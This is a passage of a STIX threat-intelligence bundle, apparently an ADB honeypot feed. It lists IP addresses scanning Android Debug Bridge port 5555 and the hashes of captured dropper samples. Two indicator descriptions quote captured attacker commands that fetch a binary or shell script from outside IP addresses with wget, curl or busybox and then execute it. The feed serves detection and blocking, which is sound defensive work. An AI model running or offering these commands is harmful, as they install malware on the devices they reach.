      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-14T14:58:18.000Z",
          "last_seen": "2026-05-22T11:18:17.476Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-14T14:57:34.000Z | last_seen=2026-05-14T14:58:35.684Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1fc5f55b-50bd-4d6d-abf6-dfbff3374ac9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:00:10.000Z",
      "valid_until": "2026-06-15T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-14T14:57:34.000Z",
          "last_seen": "2026-05-14T14:58:35.684Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=62 | first_seen=2026-05-14T14:37:11.000Z | last_seen=2026-05-20T06:55:03.165Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:00:10.000Z",
      "valid_until": "2026-06-15T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 62,
          "first_seen": "2026-05-14T14:37:11.000Z",
          "last_seen": "2026-05-20T06:55:03.165Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-14T15:59:00.000Z | last_seen=2026-05-14T16:00:08.209Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--8e2e98c6-5888-4fc9-ae89-7cd66f868578",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.92.27.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:00:02.000Z",
      "valid_until": "2026-06-15T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-14T15:59:00.000Z",
          "last_seen": "2026-05-14T16:00:08.209Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=MO; asn=61112; asn_org=AKILE LTD; adb_cmd_hits=0; cmd=\"wget -qO /tmp/.armv7l http://45.202.247.123/armv7l && chmod 755 /tmp/.armv7l && nohup /tmp/.armv7l >/dev/null 2>&1 &; wget -qO /tmp/.armv5l http://45.202.247.12\"\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-14T15:07:08.000Z | last_seen=2026-05-14T15:08:16.971Z | ports=5555 | cc=MO | asn=61112 | org=AKILE LTD",
      "id": "indicator--067af0ba-ef1c-4894-a7c7-d5f4e703eb8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.202.247.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:00:02.000Z",
      "valid_until": "2026-06-15T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-14T15:07:08.000Z",
          "last_seen": "2026-05-14T15:08:16.971Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MO"
          ],
          "asn": [
            "61112"
          ],
          "org": [
            "AKILE LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-14T15:17:11.000Z | last_seen=2026-05-14T15:18:15.121Z | ports=5555 | cc=CN | asn=37963 | org=Hangzhou Alibaba Advertising Co.,Ltd.",
      "id": "indicator--95a0c191-603a-46d8-b2e5-f8e668a8064b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.112.31.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T16:00:02.000Z",
      "valid_until": "2026-06-15T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-14T15:17:11.000Z",
          "last_seen": "2026-05-14T15:18:15.121Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "37963"
          ],
          "org": [
            "Hangzhou Alibaba Advertising Co.,Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://166.88.225.196/i/android.sh; sh android.sh; curl http://166.88.225.196/i/android.sh -o android.sh; sh android.sh; wget \"\n\nObserved in ADBHoney telemetry for 2026-05. events=1050 | first_seen=2026-05-14T16:57:31.000Z | last_seen=2026-05-26T22:25:23.697Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--e7aa8e16-c80a-427a-97fd-312be9823231",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:00:03.000Z",
      "valid_until": "2026-06-15T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 1050,
          "first_seen": "2026-05-14T16:57:31.000Z",
          "last_seen": "2026-05-26T22:25:23.697Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T18:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/b09fa71c6fca31cd73c906144ea919dfee00c75dd8193911bd3accb61204abb1.raw; last_seen=2026-05-14T17:37:35.234Z",
      "id": "indicator--e7ffe48f-6ec9-44c9-8ff8-252daf9cffa3",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'b09fa71c6fca31cd73c906144ea919dfee00c75dd8193911bd3accb61204abb1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T18:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-14T19:24:23.000Z | last_seen=2026-05-14T19:25:31.005Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--32c3734d-15da-4c34-8437-132cbd79ad16",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.163.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:00:03.000Z",
      "valid_until": "2026-06-15T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-14T19:24:23.000Z",
          "last_seen": "2026-05-14T19:25:31.005Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=94 | first_seen=2026-05-13T09:26:01.000Z | last_seen=2026-05-18T16:33:36.709Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--b346779b-14c5-4658-b23b-a889b130da4b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:00:03.000Z",
      "valid_until": "2026-06-15T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 94,
          "first_seen": "2026-05-13T09:26:01.000Z",
          "last_seen": "2026-05-18T16:33:36.709Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T20:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/f6cd82158784ae0396000534816d03766fb909c732a45774dbb8cfa1bef26a05.raw; last_seen=2026-05-14T19:33:56.447Z",
      "id": "indicator--152e91b9-28d5-4c34-a580-fbe7c63d661b",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'f6cd82158784ae0396000534816d03766fb909c732a45774dbb8cfa1bef26a05']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T20:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T22:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/2cd23e785cb5acabe267d70bbfa609ede5a5d11a3ff1b8c3d9710aa334cc23ed.raw; last_seen=2026-05-14T21:36:58.339Z",
      "id": "indicator--fe34165e-0a25-4d8d-932d-9d2663242354",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '2cd23e785cb5acabe267d70bbfa609ede5a5d11a3ff1b8c3d9710aa334cc23ed']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-14T23:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=25 | first_seen=2026-05-14T22:14:31.000Z | last_seen=2026-05-14T22:27:07.523Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--1d8e2ceb-373c-4501-8ce9-fae781479898",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.89.124.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:00:12.000Z",
      "valid_until": "2026-06-15T23:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 25,
          "first_seen": "2026-05-14T22:14:31.000Z",
          "last_seen": "2026-05-14T22:27:07.523Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-14T23:45:25.000Z | last_seen=2026-05-14T23:46:30.052Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--41de2997-82b2-44f8-bbc7-17862beae9d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.25.89.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T00:00:03.000Z",
      "valid_until": "2026-06-16T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-14T23:45:25.000Z",
          "last_seen": "2026-05-14T23:46:30.052Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T01:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-15T00:02:31.000Z | last_seen=2026-05-15T00:04:07.054Z | ports=5555 | cc=DE | asn=212512 | org=Detai Prosperous Technologies Limited",
      "id": "indicator--b20a88a9-9f03-4d8a-8f4c-3ba2dd904a22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.82.76.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T01:00:15.000Z",
      "valid_until": "2026-06-16T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-15T00:02:31.000Z",
          "last_seen": "2026-05-15T00:04:07.054Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "212512"
          ],
          "org": [
            "Detai Prosperous Technologies Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=GB; asn=214576; asn_org=Berdiev Ruslan Mukhabatovich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-15T01:58:33.000Z | last_seen=2026-05-15T01:59:40.463Z | ports=5555 | cc=GB | asn=214576 | org=Berdiev Ruslan Mukhabatovich",
      "id": "indicator--1d5aa606-ed4f-436c-8ee5-9e1c2238d8d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.169.194.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:00:02.000Z",
      "valid_until": "2026-06-16T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-15T01:58:33.000Z",
          "last_seen": "2026-05-15T01:59:40.463Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "214576"
          ],
          "org": [
            "Berdiev Ruslan Mukhabatovich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T03:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-15T02:24:50.000Z | last_seen=2026-05-15T02:25:57.938Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c4d073fe-38a1-461f-942e-c24e1eff2e0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.22.176.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T03:00:07.000Z",
      "valid_until": "2026-06-16T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-15T02:24:50.000Z",
          "last_seen": "2026-05-15T02:25:57.938Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-15T03:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=GB; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-15T02:31:01.000Z | last_seen=2026-05-15T02:41:58.465Z | ports=5555 | cc=GB | asn=396982 | org=Google LLC",
      "id": "indicator--22a0ddc8-f869-4c8d-8fd8-07b1c5344457",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
